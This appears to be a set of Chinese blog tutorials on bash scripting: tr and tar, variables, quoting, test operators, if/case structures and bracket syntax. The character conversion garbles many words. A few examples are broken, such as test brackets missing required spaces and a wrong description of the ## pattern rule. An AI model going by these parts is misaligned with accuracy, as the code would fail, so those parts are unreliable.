tr -d A-Z < a.txt,刪除a.txt文件中全部的大寫字母。

tr -d "[\n]" < a.txt,刪除a.txt文件中全部的換行符。

tr -s "[\n]" < a.txt,將重複出現的換行符壓縮成一個換行符。

tr命令也能夠加上buffer1和buffer2,將buffer1用buffer2來替換,tr "[a-z]" "[A-Z]" < a.txt,將a.txt中的小寫字母替換成大寫字母。

(8)tar命令

tar命令是linux的歸檔命令,實現linux系統文件的壓縮和解壓縮。tar [選項] 文件名或目錄名,tar的經常使用選項以下:

tar -cf a.tar *.txt,將全部的.txt結尾的文件放入壓縮包a.tar。-c表示建立新的包,-f一般是必選選項。

tar -tf a.tar,查看a.tar壓縮包的內容。-t列出包內容。

tar -rf a.tar log*,將以log開頭的文件添加到a.tar中,-u選項也可用於爲包添加新的文件,-u選項徹底能代替-r選項。

解壓非gzip格式的壓縮包:tar -xvf 壓縮包名稱

解壓gzip格式的壓縮包:tar -zxvf 壓縮包名稱

 4、總結

(1)字符串處理和文本處理命令常常出如今各類shell腳本程序中,應熟練地掌握這些命令。

(2)sort、uniq、join、cut、paste、split、tr和tar與grep、sed、awk構成了linux文本處理的全部命令和工具。

(3)該文僅其嚮導,對命令的詳細選項功能還須參考相應的文檔。
 
 

shell淺談之一變量和引用

1、簡介

       變量是腳本語言的核心,shell腳本又是無類型的。變量本質上存儲數據的一個或多個計算機內存地址,分爲本地變量(用戶當前shell生命期使用,隨shell進程的消亡而無效,相似局部變量)、環境變量(適用於全部由登陸進程所產生的子進程)和位置參數(向shell腳本傳遞參數,只讀)。而shell使用變量就須要引用,它們密切相關。

2、詳解

一、變量賦值      

(1)變量賦值規則:等號兩邊不能有空格、value值包括空格必須用雙引號、變量名只能包括字母數字和下畫槓,並變量名不能以數字開頭。

(2)若是value值中有空格,須要用雙引號引以來。variable="hello world"。

(3)unset命令清除變量的值。

(4)變量賦值模式

(5)readonly將變量設置爲只讀,只讀變量不能再次進行賦值操做。

 

二、無類型的變量

(1)C中定義變量須要聲明整型、浮點型、字符型等,而shell腳本變量倒是無類型的。shell不支持浮點型只支持整型和字符型,同時字符型還具備一個整型值0(判斷標準:變量中只包含數字是數值型其餘是字符串)。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. a=2009  
  4. let "a+=1"  
  5. echo "a=$a"  
  6.   
  7. b=xx09  
  8. echo "b=$b"  
  9. declare -i b  
  10. echo "b=$b"  
  11.   
  12. let "b+=1"  
  13. echo "b=$b"  
  14.   
  15. exit 0  

(2)位置參數

從命令行向shell腳本傳遞參數,$0表示腳本的名字,$1表明第一個參數,以此類推。從${10}開始參數號須要用花括號括起來。

 

[cpp] view plain copy
 
 
  1. #!/bin/sh  
  2. echo "The script name is: $0"            #$0表示腳本自己  
  3. echo "Parameter #1:$1"  
  4. echo "Parameter #2:$2"  
  5. echo "Parameter #3:$3"  
  6. echo "Parameter #4:$4"  
  7. echo "Parameter #5:$5"  
  8. echo "Parameter #6:$6"  
  9. echo "Parameter #7:$7"  
  10. echo "Parameter #8:$8"  
  11. echo "Parameter #9:$9"  
  12. echo "Parameter #10:${10}"           #用大括號括起來  
  13.   
  14. echo "-------------------------"  
  15. echo "All the command line parameters are: $*"  
特殊的位置參數:

三、內部變量

內部變量指可以對bash shell腳本行爲產生影響的變量,屬於環境變量的範疇。

(1)BASH

      BASH記錄了shell的路徑,一般是/bin/bash。內部變量SHELL是經過BASH的值肯定當前Shell的類型,linux使用的是bash shell,於是兩個變量的值都是/bin/bash。

(2)BASH_VERSINFO

它是一個包含6個元素的數組,這些元素用於表示bash的版本信息。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. for n in 0 1 2 3 4 5  
  4. do  
  5.   echo "BASH_VERSINFO[$n]=${BASH_VERSINFO[$n]}"  
  6. done  

BASH_VERSINFO[0]表示bash shell的主版本號,BASH_VERSINFO[1]表示shell的次版本號,BASH_VERSINFO[2]表示shell的補丁級別,BASH_VERSINFO[3]表示shell的編譯版本,BASH_VERSINFO[4]表示shell的發行狀態,BASH_VERSINFO[5]表示shell的硬件架構。

(3)BASH_VERSION

linux系統的bash shell版本包含主次版本、補丁級別、編譯版本和發行狀態,即BASH_VERSINFO數組取值爲0~4。顯示BASH_VERSION的值。

(4)DIRSTACK
      它顯示目錄棧的棧頂值。linux目錄棧用於存放工做目錄,便於程序員手動控制目錄的切換,bash shell定義了兩個系統命令pushd(將某目錄壓入目錄棧並將當前工做目錄切換到入棧的目錄)和popd(將棧頂目錄彈出並將當前工做目錄切換到棧頂目錄)來維護目錄棧。

      DIRSTACK記錄棧頂目錄值,初值爲空。linux還有一個命令dirs用於顯示目錄棧的全部內容。

(5)GLOBIGNORE

     它是由冒號分隔的模式列表,表示通配時忽略的文件名集合。一旦GLOBIGNORE非空,shell會將通配獲得的結果中符合GLOBIGNORE模式中的目錄去掉。例如ls a*列出當前目錄以a開頭的文件,設置GLOBIGNORE=「ar*」,再次執行ls a*將剔除以ar開頭的文件。

(6)GROUPS

      GROUPS記錄了當前用戶所屬的羣組,linux的一個用戶可同時包含在多個組內,GROUPS是一個數組記錄了當前用戶所屬的全部羣組號。管理用戶組的文件是/etc/group,格式:羣組名:加密後的組口令:羣組號:組成員,組成員(組成員列表)。

(7)HOSTNAME

      HOSTNAME記錄了主機名,linux主機名是網絡配置時必需要設置的參數,可在/etc/sysconfig/network文件中設置主機名。/etc/hosts文件用於設定IP地址和主機名之間的對應關係,可快速從主機名查找IP地址。

(8)HOSTTYPE和MACHTYPE

都用於記錄系統的硬件架構,它們與BASH_VERSINFO[5]等值

(9)OSTYPE

記錄操做系統類型,linux系統中,$OSTYPE=linux。

(10)REPLY

      REPLY變量與read和select命令有關。read用於讀取標準輸入(stdin)的變量值,read variable將標準輸入存儲到variable變量中,而read將讀到的標準輸入存儲到REPLY變量中。

     select腳本:

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. echo "Pls. choose your profession?"  
  3. select var in "Worker" "Doctor" "Teacher" "Student" "Other"  
  4. do  
  5.    echo "The \$REPLY is $REPLY."    
  6.    echo "Your preofession is $var."  
  7. break  
  8. done  

」#?"提示符由shell提示符變量PS3進行設置(#?是其默認值)。修改export PS3="your choice:"。REPLY變量值爲用戶選擇的序號,var變量爲REPLY序號所對應的字符串。

(11)SECONDS

SECONDS記錄腳本從開始執行到結束所耗費的時間(單位爲秒)。調試性能時比較有用。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. count=1  
  3. MAX=5  
  4.   
  5. while [ "$count" -le "$MAX" ];do  
  6.   echo "This is the $count time to sleep."  
  7.   let count=$count+1  
  8.   sleep 1  
  9. done  
  10.   
  11. echo "The running time of this script is $SECONDS"  

(12)SHELLOPTS

它記錄了處於開狀態的shell選項列表,它是一個只讀變量。Shell選項用於改變Shell的行爲,Shell選項有開和關兩種狀態,set命令用於打開或關閉選項。set -o optionname(打開名爲optionname選項),set +o optionname(關閉名爲optionname選項)。好比打開interactive(交互模式運行)能夠使用set -o interactive或set -i等價。Shell選項有不少。

(13)SHLVL

       記錄Shell嵌套的層次,啓動第一個shell時,$SHLVL=1,若在這個Shell中執行腳本,腳本中的SHLVL爲2,腳本中再執行子腳本,SHLVL就會遞增。

(14)TMOUT

用於設置Shell的過時時間,TMOUT不爲0時,shell會在TMOUT秒後將自動註銷,TMOUT放在腳本中能夠規定腳本的執行時間。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. TMOUT=3  
  4. echo "What is your name?"  
  5. read fname  
  6.   
  7. if [ -z "$fname" ]; then  
  8.    fname="(no answer)"  
  9. fi  
  10.   
  11. echo "Your name is $fname"  

用戶有輸入,腳本執行read後的程序,用戶沒有輸入等待TMOUT秒後執行read後程序但fname會爲空。

四、有類型變量

    Shell變量通常是無類型的,bash shell提供了declare和typeset兩個命令用於指定變量的類型(它們徹底等價)。declare [選項] 變量名,有6個選項。

declare命令-r選項將變量設置成只讀屬性,與readonly命令同樣,變量值不容許修改。

declare命令-x選項將變量聲明爲環境變量,至關於export,但declare -x容許聲明環境變量同時給變量賦值,而export不支持。

declare -i將變量定義爲整型數,不能再按字符串形式處理改變量(和let命令進行算術運算同樣,expr命令能夠替換let命令)。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. variable1=2009  
  3. variable2=$variable1+1  
  4. echo  "variable2=$variable2"  
  5. let variable3=$variable1+1  
  6. echo  "variable3=$variable3"  
  7. declare -i variable4  
  8. variable4=$variable1+1  
  9. echo  "variable4=$variable4"  

      再介紹一種變量執行算術運算的方法:雙圓括號即((...))格式。result=$((var1*var2));var1和var2執行乘法運算。雙圓括號也能夠使shell實現C語言風格的變量操做。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. ((a = 2014))  
  3. echo "The initial value of a is:$a"  
  4. ((a++))  
  5. echo "After a++,the value of a is:$a"  
  6. ((++a))  
  7. echo "After ++a,the value of a is:$a"  
  8. ((a--))  
  9. echo "After a--,the value of a is:$a"  
  10. ((--a))  
  11. echo "After --a,the value of a is:$a"  

      雙圓括號實現五種C語言風格的運算,自增自減是shell算術運算符中不曾定義過的,是C語言中的相關內容。a = 2014,C語言容許賦值兩端有空格但shell不容許。雙圓括號還能夠實現更加複雜的C語言的運算如邏輯判斷、三元操做等。

五、間接變量引用

      該引用不是將變量引發來,而是理解爲:若是第一個變量的值是第二個變量的名字,從第一個變量引用第二個變量的值就稱爲間接變量引用。bash shell提供了兩種格式實現間接變量引用:eval tempvar=\$$variable和tempvar=${!variable},其中eval是關鍵字,用\$$形式獲得variable的簡介引用,用${!...}獲得variable的間接引用。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. variable1=variable2  
  3. variable2=Hadoop  
  4. echo "varialbe1=$variable1"  
  5.   
  6. eval tempvar=\$$variable1  
  7. echo "tempvar=$tempvar"  
  8.   
  9. echo "Indirect ref variable1 is :${!variable1}"  

例:使用間接變量引用實現數據庫表格的查找:

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. S01_name="Li Hao"  
  4. S01_dept=Computer  
  5. S01_phone=025-83481010  
  6. S01_rank=5  
  7.   
  8. S02_name="Zhang Ju"  
  9. S02_dept=English  
  10. S02_phone=025-83466524  
  11. S02_rank=8  
  12.   
  13. S03_name="Zhu Lin"  
  14. S03_dept=Physics  
  15. S03_phone=025-83680010  
  16. S03_rank=3  
  17.   
  18. PS3='Pls. select the number of student:'  
  19. select stunum in "S01" "S02" "S03"  
  20. do  
  21.   name=${stunum}_name  
  22.   dept=${stunum}_dept  
  23.   phone=${stunum}_phone  
  24.   rank=${stunum}_rank  
  25.   
  26.   echo "BASIC INFORMATION OF NO.$stunum STUDENT:"  
  27.   echo "NAME:${!name}"  
  28.   echo "DEPARTMENT:${!dept}"  
  29.   echo "PHONE:${!phone}"  
  30.   echo "RANK:${!rank}"  
  31.   break  
  32. done  
      在間接變量引用中,第一個變量中存放的是最終值的地址,所以,間接變量引用使得shell編程實現了相似於C語言中指針的功能,在不少場合可以精簡shell腳本。

六、引用

(1)引用指將字符串用引用符號引發來,以防止特殊字符被shell腳本重解釋爲其餘意義。shell中定義了四種引用符號。

(2)雙引號和單引號

       雙引號引用除美元符號($)、反引號(`)和反斜線(\)以外的全部字符,即$和`及\在雙引號中仍被解釋爲特殊意義,利用雙引號引用變量能防止字符串分割,而保留變量中的空格。所以雙引號的引用方式稱爲部分引用。

        單引號中字符除單引號自己以外都解釋爲字面意義,再也不具有引用變量的功能,單引號的引用方式稱爲全引用。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. echo "Why can't I write 's between single quotes"  
  3.   
  4. echo 'Why can'"'"'t I write' "'"'s between single quotes'  
(3)反引號

反引號進行命令替換(將命令的標準輸出做爲值賦給某個變量),等價於$(),同時$()形式的命令替換是能夠嵌套的。如`pwd`和$(pwd)等價都爲當前工做目錄。

反引號與$()在處理雙反斜線時存在區別,反引號將反斜線符號處理爲空格,而$()符號將其處理爲單斜線符。

七、轉義

(1)反斜線符號(\)表示轉義,將屏蔽下一個字符的特殊意義,而以字面意義解析它。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. variable="(]\\{}\$\""  
  4. echo $variable  
  5. echo "$variable"  
  6.   
  7. IFS='\'  
  8. echo $variable  
  9. echo "$variable"  
  10. exit 0  

(2)轉義符除了屏蔽特殊字符的特殊意義外,加上一些字母可以表達特殊的含義。

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. #echo不加e選項,按照字面含義解釋\t等特殊符號  
  4. echo "\t\n\a\v"  
  5.   
  6. #echo加上e選項後,按照特殊含義解釋這些特殊符號  
  7. echo -e "\t\t\t\thello"  
  8. echo $'\t\thello'  
  9.   
  10. echo -e "hello\v\v\v\vhello"  
  11. echo -e "\a\a\a\a"  
  12. echo -e "\042"  

$''與-e選項等價。

(3)echo加-n選項表示輸出文字後不換行,不帶-n默認是輸出文本後自動換行。

3、總結

(1)從shell的基礎開始瞭解,一步步向上走。

(2)可發郵件溝通,相互提升!郵箱地址yang.ao@i-soft.com.cn。

shell淺談之二運算符和IF條件判斷

1、簡介

       Shell各類判斷結構和運算符的用法是shell編程的基礎,瞭解shell的判斷、運算符和一些退出狀態對後面的學習有很重要的影響。shell有一個內部命令test常常用於對判斷語句進行測試一種或幾種狀態的條件是否成立。

2、詳解

一、測試和運算符

(1)Linux的shell中的測試命令,用於測試某種條件或某幾種條件是否真實存在。測試命令是判斷語句和循環語句中條件測試的工具,對判斷和運算符的比較測試有很大的幫助。

(2)測試條件爲真,返回一個0值;爲假,返回一個非0整數值。測試命令有兩種方式,一種test expression(表達式);另外一種命令格式[ expression ],其中"["是啓動測試命令,"]"要與之配對,並且"["和"]"先後的空格必不可少,此方式常做爲流程控制語句的判斷條件。

(3)整數比較運算符

格式:test "num1" operator "num2"或[ "num1" operator "num2" ],測試結果爲真用0表示,爲假用非0表示。但只能用於比較數值的大小, 不可用於字符串、文件操做(字符串比較運算符和文件操做符也不能用於其餘的操做)。

對浮點型數值進行比較,不能使用整型運算符。

(4)字符串運算符

Shell編程是嚴格區分大小寫的,並注意空格的問題,運算符左右的空格不能少。

字符串賦值和整數賦值沒有區別,而shell對變量弱化了,所以不要把字符串比較運算符看成整數比較運算符使用。

(5)文件操做符

文件操做符中的可讀、可寫、可執行的權限判斷常常和chmod命令聯用。

(6)邏輯運算符

用於測試多個條件是否爲真或爲假,也可以使用邏輯非測試單個表達式。

表達式:expression1 -a expression2 -a expression3(並非全部的運算符都會被執行,只有表達式expression1爲真,纔會測試expression2爲真。只有expression1和expression2都爲真纔會接着測試expression3是否爲真。)

表達式:expression1 -o expression2 -o expression3(只要expression1爲真,就不用去測試表達式expression2和expression3。只有expression1爲假時纔會去判斷表達式expression2和expression3。一樣,只有expression2和expression3同時爲假時纔會去測試expression3)。

例如:判斷文件存在並cd切換目錄,[-e /tmp/test -a -d /tmp/test ] || cd /tmp/test或[-e /tmp/test ] && [ -d /tmp/test ] || cd /tmp/test

例如:文件可執行則啓動,[-x /etc/init.d/network] && result=`/etc/init.d/network start`

(7)算術運算符

使用let命令來執行算術運算,除法和取餘運算過程當中要注意除數不能爲0,使用算術運算符沒法對字符串、文件、浮點型數進行計算(浮點型操做,須要用到專門的函數)。

算術運算符與賦值運算符"="聯用,稱爲算術複合賦值運算符。

(8)位運算符

用於整數間的運算,按位與運算只有兩個二進制都爲1,結果才爲1;按位或運算只要有一個二進制位爲1,則結果爲1;按位異或運算兩個二進制位數相同時,結果爲0,不然爲1。按位取反運算符將二進制中的0修改爲1,1修改爲0。

位運算符一樣能夠同賦值運算符聯用,組成複合賦值運算符。

(9)自增自減運算符

自增自減運算符包括前置自增、前置自減、後置自增和後置自減。自增自減操做符的操做元只能是變量,不能是常數或表達式,且該變量值必須爲整數型。

 

[cpp] view plain copy
 
 
  1. #!/bin/sh  
  2.    
  3.  num1=5  
  4.   
  5.  let "a=5+(++num1) "  
  6.  echo "a=$a"  
  7.   
  8.  num2=5  
  9.   
  10.  let  "b=5+(num2++) "  
  11.  echo "b=$b"  
(10)數字常量

       Shell腳本或命令默認將數字以十進制的方式進行處理,當使用0做爲前綴時表示八進制,當使用0x進行標記時表示十六進制,同時還可以使用num#這種形式標記進制數。

 

[cpp] view plain copy
 
 
  1. #!/bin/sh  
  2.    
  3. let "num1=40"  
  4. echo "num1=$num1"  
  5.   
  6. let "num2=040"  
  7. echo "num2=$num2"  
  8.   
  9. let "num3=0x40"  
  10. echo "num3=$num3"  
分別使用設置數字常量40的十進制、八進制和十六進制的表示方式,產生的十進制結果是不一樣的。

 

[cpp] view plain copy
 
 
  1. #!/bin/sh  
  2.    
  3. let "num1=2#1101100110001101"  
  4. echo "num1=$num1"  
  5.   
  6. let "num2=8#50"  
  7. echo "num2=$num2"  
  8.   
  9. let "num3=16#50"  
  10. echo "num3=$num3"  

二、Bash數學運算

(1)expr命令

expr通常用於整數值計算和字符串的操做。其操做符名稱以下表所示。

注:若expr的操做符是元字符(不是普通字符),須要用轉義符將操做符的特殊含義屏蔽,進行數學運算,如expr 2014 \* 2。expr操做符的兩端必須有空格,不然不會執行數學運算expr 2014 - 2008。

(2)bc運算器

bc是一種內建的運算器,是bash shell中最經常使用的浮點數運算工具,包括整型數和浮點數、數組變量、表達式、複雜程序結構和函數。

bc運算器支持的數學運算符號以下表:

bc運算器定義了內建變量scale用於設定除法運算的精度(默認scale=0)。

scale設爲4後,除法結果小數點後保留4位。bc -q能夠使bc運算器不輸出版本信息。

在shell中用bc運算器進行浮點數運算須要使用命令替換的方式。腳本中調用bc運算器通常格式:variable=`echo "options; expression" | bc`。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. var1=20  
  4. var2=3.14159  
  5. var3=`echo "scale=5; $var1 ^ 2" | bc`  
  6. var4=`echo "scale=5; $var3 * $var2" | bc`  
  7. echo "The area of this circle is:$var4"  
bc運算器的指數運算計算var1變量的平方,scale=5輸出結果的小數點後精確到第5位。

三、退出狀態

(1)Linux系統,每當命令執行完成後,系統返回一個退出狀態。若退出狀態值爲0,表示命令運行成功;反之若退出狀態值不爲0,則表示命令運行失敗。最後一次執行命令的退出狀態值被保存在內置變量"$?"中。

(2)exit命令格式:exit status(status在0~255之間),返回該狀態值時伴隨腳本的退出,參數被保存在shell變量$?中。

 

三、IF判斷

(1)if、then、else語句用於判斷給定的條件是否知足,並根據測試條件的真假來選擇相應的操做。if/else僅僅用於兩分支判斷,多分支的選擇時須要用到if/else語句嵌套、if/elif/else和case多分支選擇判斷結構。

(2)if結構

[cpp] view plain copy
 
 
  1. #!/bin/sh  
  2. echo "Please input a integer:"  
  3. read integer1  
  4.   
  5. if [ "$integer1" -lt 15 ]  
  6.   then echo "The integer which you input is lower than 15."  
  7. fi  

注意:測試條件後若是沒有";"則then語句要換行。

(3)if/else結構

[cpp] view plain copy
 
 
  1. #!/bin/sh  
  2.   
  3. echo "Please input the file which you want to delete:"  
  4. read file  
  5.   
  6. if rm -f "$file"  
  7. then  
  8.   echo "Delete the file $file  sucessfully!"  
  9. else  
  10.   echo "Delete the file $file failed!"  
  11. fi  
(4)if/else語句嵌套

可同時判斷三個或三個以上條件,但要注意if與else配對關係,else語句老是與它上面最近的未配對的if配對。

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2. #提示用戶輸入分數(0-100)  
  3. echo "Please Input a integer(0-100): "  
  4. read score  
  5.   
  6. #判斷學生的分數類別  
  7. if [ "$score" -lt 0 -o "$score" -gt 100 ]  
  8. then  
  9.    echo "The score what you input is not integer or the score is not in (0-100)."  
  10. else  
  11.      if [ "$score" -ge 90 ]  
  12.      then  
  13.          echo "The grade is A!"  
  14.      else  
  15.           if [ "$score" -ge 80 ]  
  16.           then  
  17.               echo "The grade is B!"  
  18.           else  
  19.                if [ "$score" -ge 70 ]  
  20.               then  
  21.                    echo "The grade is C!"  
  22.               else  
  23.                    if [ "$score" -ge 60 ]  
  24.                    then  
  25.                         echo "The grade is D!"  
  26.                    else  
  27.                         echo "The grade is E!"  
  28.                    fi  
  29.               fi  
  30.          fi  
  31.     fi  
  32. fi  
(4)if/elif/else結構

if/else嵌套在編程中很容易漏掉then或fi產生錯誤,並且可讀性不好,所以引入if/elif/else結構針對某一事件的多種狀況進行處理,fi只出現一次,可讀性也提升了。

[cpp] view plain copy
 
 
  1. #!/bin/bash    
  2.   
  3. echo "Please Input a integer(0-100): "  
  4. read score  
  5.   
  6. if [ "$score" -lt 0 -o "$score" -gt 100 ]  
  7. then  
  8.     echo "The score what you input is not integer or the score is not in (0-100)."  
  9. elif [ "$score" -ge 90 ]  
  10. then  
  11.     echo "The grade is A!"  
  12. elif [ "$score" -ge 80 ]  
  13. then  
  14.     echo "The grade is B!"  
  15. elif [ "$score" -ge 70 ]  
  16. then  
  17.     echo "The grade is C!"  
  18. elif [ "$score" -ge 60 ]  
  19. then  
  20.     echo "The grade is D!"  
  21. else  
  22.     echo "The grade is E!"  
  23. fi  
例:判斷輸入的年份是不是潤年(潤年條件:一、能被4整除,但不能被100整除的年份。二、能被100整除,又能被400整除的年份)
[cpp] view plain copy
 
 
  1. #!/bin/sh  
  2.     
  3. echo "Please Input a year: "  
  4. read year  
  5.   
  6. let "n1=$year % 4"  
  7. let "n2=$year % 100"  
  8. let "n3=$year % 400"  
  9. if [ "$n1" -ne 0 ]  
  10. then  
  11.     leap=0  
  12. elif [ "$n2" -ne 0 ]  
  13. then  
  14.     leap=1  
  15. elif [ "$n3" -ne 0 ]  
  16. then  
  17.     leap=0  
  18. else  
  19.     leap=1  
  20. fi  

(5)case結構

      case結構變量值依次比較,遇到雙分號則跳到esac後的語句執行,沒有匹配則腳本將執行默認值"*)"後的命令,直到"';;"爲止。case的匹配值必須是常量或正則表達式。

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.     
  3. echo "Please Input a score_type(A-E): "  
  4. read score_type  
  5.   
  6. case "$score_type" in  
  7. A)  
  8.      echo "The range of score is from 90 to 100 !";;  
  9. B)  
  10.      echo "The range of score is from 80 to 89 !";;  
  11. C)  
  12.      echo "The range of score is from 70 to 79 !";;  
  13. D)  
  14.      echo "The range of score is from 60 to 69 !";;  
  15. E)  
  16.      echo "The range of score is from 0 to 59 !";;  
  17. *)  
  18.      echo "What you input is wrong !";;  
  19. esac  

 

 

 

shell中各類括號的做用()、(())、[]、[[]]、{}

1、小括號,圓括號()

一、單小括號 ()

   ①命令組。括號中的命令將會新開一個子shell順序執行,因此括號中的變量不可以被腳本餘下的部分使用。括號中多個命令之間用分號隔開,最後一個命令能夠沒有分號,各命令和括號之間沒必要有空格。
   ②命令替換。等同於`cmd`,shell掃描一遍命令行,發現了$(cmd)結構,便將$(cmd)中的cmd執行一次,獲得其標準輸出,再將此輸出放到原來命令。有些shell不支持,如tcsh。
    ③用於初始化數組。如:array=(a b c d)
 
 

 二、雙小括號 (( ))

    ①整數擴展。這種擴展計算是整數型的計算,不支持浮點型。((exp))結構擴展並計算一個算術表達式的值,若是表達式的結果爲0,那麼返回的退出狀態碼爲1,或者 是"假",而一個非零值的表達式所返回的退出狀態碼將爲0,或者是"true"。如果邏輯判斷,表達式exp爲真則爲1,假則爲0。
    ②只要括號中的運算符、表達式符合C語言運算規則,均可用在$((exp))中,甚至是三目運算符。做不一樣進位(如二進制、八進制、十六進制)運算時,輸出結果全都自動轉化成了十進制。如:echo $((16#5f)) 結果爲95 (16進位轉十進制)
    ③單純用 (( )) 也可重定義變量值,好比 a=5; ((a++)) 可將 $a 重定義爲6
    ④經常使用於算術運算比較,雙括號中的變量能夠不使用$符號前綴。括號內支持多個表達式用逗號分開。 只要括號中的表達式符合C語言運算規則,好比能夠直接使用for((i=0;i<5;i++)), 若是不使用雙括號, 則爲for i in `seq 0 4`或者for i in {0..4}。再如能夠直接使用if (($i<5)), 若是不使用雙括號, 則爲if [ $i -lt 5 ]。

2、中括號,方括號[]

  一、單中括號 []

    ①bash 的內部命令,[和test是等同的。若是咱們不用絕對路徑指明,一般咱們用的都是bash自帶的命令。if/test結構中的左中括號是調用test的命令標識,右中括號是關閉條件判斷的。這個命令把它的參數做爲比較表達式或者做爲文件測試,而且根據比較的結果來返回一個退出狀態碼。if/test結構中並非必須右中括號,可是新版的Bash中要求必須這樣。
    ②Test和[]中可用的比較運算符只有==和!=,二者都是用於字符串比較的,不可用於整數比較,整數比較只能使用-eq,-gt這種形式。不管是字符串比較仍是整數比較都不支持大於號小於號。若是實在想用,對於字符串比較能夠使用轉義形式,若是比較"ab"和"bc":[ ab \< bc ],結果爲真,也就是返回狀態爲0。[ ]中的邏輯與和邏輯或使用-a 和-o 表示。
    ③字符範圍。用做正則表達式的一部分,描述一個匹配的字符範圍。做爲test用途的中括號內不能使用正則。
    ④在一個array 結構的上下文中,中括號用來引用數組中每一個元素的編號。
 
 

 二、雙中括號[[ ]]

    ①[[是 bash 程序語言的關鍵字。並非一個命令,[[ ]] 結構比[ ]結構更加通用。在[[和]]之間全部的字符都不會發生文件名擴展或者單詞分割,可是會發生參數擴展和命令替換。
    ②支持字符串的模式匹配,使用=~操做符時甚至支持shell的正則表達式。字符串比較時能夠把右邊的做爲一個模式,而不只僅是一個字符串,好比[[ hello == hell? ]],結果爲真。[[ ]] 中匹配字符串或通配符,不須要引號。
    ③使用[[ ... ]]條件判斷結構,而不是[ ... ],可以防止腳本中的許多邏輯錯誤。好比,&&、||、<和> 操做符可以正常存在於[[ ]]條件判斷結構中,可是若是出如今[ ]結構中的話,會報錯。好比能夠直接使用if [[ $a != 1 && $a != 2 ]], 若是不適用雙括號, 則爲if [ $a -ne 1] && [ $a != 2 ]或者if [ $a -ne 1 -a $a != 2 ]。
    ④bash把雙中括號中的表達式看做一個單獨的元素,並返回一個退出狀態碼。
例子:
[cpp] view plain copy
 
 
  在CODE上查看代碼片派生到個人代碼片
  1. if ($i<5)    
  2. if [ $i -lt 5 ]    
  3. if [ $a -ne 1 -a $a != 2 ]    
  4. if [ $a -ne 1] && [ $a != 2 ]    
  5. if [[ $a != 1 && $a != 2 ]]    
  6.      
  7. for i in $(seq 0 4);do echo $i;done    
  8. for i in `seq 0 4`;do echo $i;done    
  9. for ((i=0;i<5;i++));do echo $i;done    
  10. for i in {0..4};do echo $i;done    

3、大括號、花括號 {}

一、常規用法

    ①大括號拓展。(通配(globbing))將對大括號中的文件名作擴展。在大括號中,不容許有空白,除非這個空白被引用或轉義。第一種:對大括號中的以逗號分割的文件列表進行拓展。如 touch {a,b}.txt 結果爲a.txt b.txt。第二種:對大括號中以點點(..)分割的順序文件列表起拓展做用,如:touch {a..d}.txt 結果爲a.txt b.txt c.txt d.txt
[cpp] view plain copy
 
 
  在CODE上查看代碼片派生到個人代碼片
  1. # ls {ex1,ex2}.sh    
  2. ex1.sh  ex2.sh    
  3. # ls {ex{1..3},ex4}.sh    
  4. ex1.sh  ex2.sh  ex3.sh  ex4.sh    
  5. # ls {ex[1-3],ex4}.sh    
  6. ex1.sh  ex2.sh  ex3.sh  ex4.sh    
    ②代碼塊,又被稱爲內部組,這個結構事實上建立了一個匿名函數 。與小括號中的命令不一樣,大括號內的命令不會新開一個子shell運行,即腳本餘下部分仍可以使用括號內變量。括號內的命令間用分號隔開,最後一個也必須有分號。{}的第一個命令和左括號之間必需要有一個空格。
 
 

  二、幾種特殊的替換結構

${var:-string},${var:+string},${var:=string},${var:?string}

      ①${var:-string}和${var:=string}:若變量var爲空,則用在命令行中用string來替換${var:-string},不然變量var不爲空時,則用變量var的值來替換${var:-string};對於${var:=string}的替換規則和${var:-string}是同樣的,所不一樣之處是${var:=string}若var爲空時,用string替換${var:=string}的同時,把string賦給變量var: ${var:=string}很經常使用的一種用法是,判斷某個變量是否賦值,沒有的話則給它賦上一個默認值。
      ② ${var:+string}的替換規則和上面的相反,即只有當var不是空的時候才替換成string,若var爲空時則不替換或者說是替換成變量 var的值,即空值。(由於變量var此時爲空,因此這兩種說法是等價的) 
      ③${var:?string}替換規則爲:若變量var不爲空,則用變量var的值來替換${var:?string};若變量var爲空,則把string輸出到標準錯誤中,並從腳本中退出。咱們可利用此特性來檢查是否設置了變量的值。
      補充擴展:在上面這五種替換結構中string不必定是常值的,可用另一個變量的值或是一種命令的輸出。

 三、四種模式匹配替換結構

模式匹配記憶方法:
# 是去掉左邊(在鍵盤上#在$之左邊)
% 是去掉右邊(在鍵盤上%在$之右邊)
#和%中的單一符號是最小匹配,兩個相同符號是最大匹配。

${var%pattern},${var%%pattern},${var#pattern},${var##pattern}

     第一種模式:${variable%pattern},這種模式時,shell在variable中查找,看它是否一給的模式pattern結尾,若是是,就從命令行把variable中的內容去掉右邊最短的匹配模式
     第二種模式: ${variable%%pattern},這種模式時,shell在variable中查找,看它是否一給的模式pattern結尾,若是是,就從命令行把variable中的內容去掉右邊最長的匹配模式
     第三種模式:${variable#pattern} 這種模式時,shell在variable中查找,看它是否一給的模式pattern開始,若是是,就從命令行把variable中的內容去掉左邊最短的匹配模式
     第四種模式: ${variable##pattern} 這種模式時,shell在variable中查找,看它是否一給的模式pattern結尾,若是是,就從命令行把variable中的內容去掉右邊最長的匹配模式
     這四種模式中都不會改變variable的值,其中,只有在pattern中使用了*匹配符號時,%和%%,#和##纔有區別。結構中的pattern支持通配符,*表示零個或多個任意字符,?表示僅與一個任意字符匹配,[...]表示匹配中括號裏面的字符,[!...]表示不匹配中括號裏面的字符。
[cpp] view plain copy
 
 
  在CODE上查看代碼片派生到個人代碼片
  1. # var=testcase    
  2. # echo $var    
  3. testcase    
  4. # echo ${var%s*e}   
  5. testca    
  6. # echo $var    
  7. testcase   
  8. # echo ${var%%s*e}   
  9. te  
  10. # echo ${var#?e}    
  11. stcase  
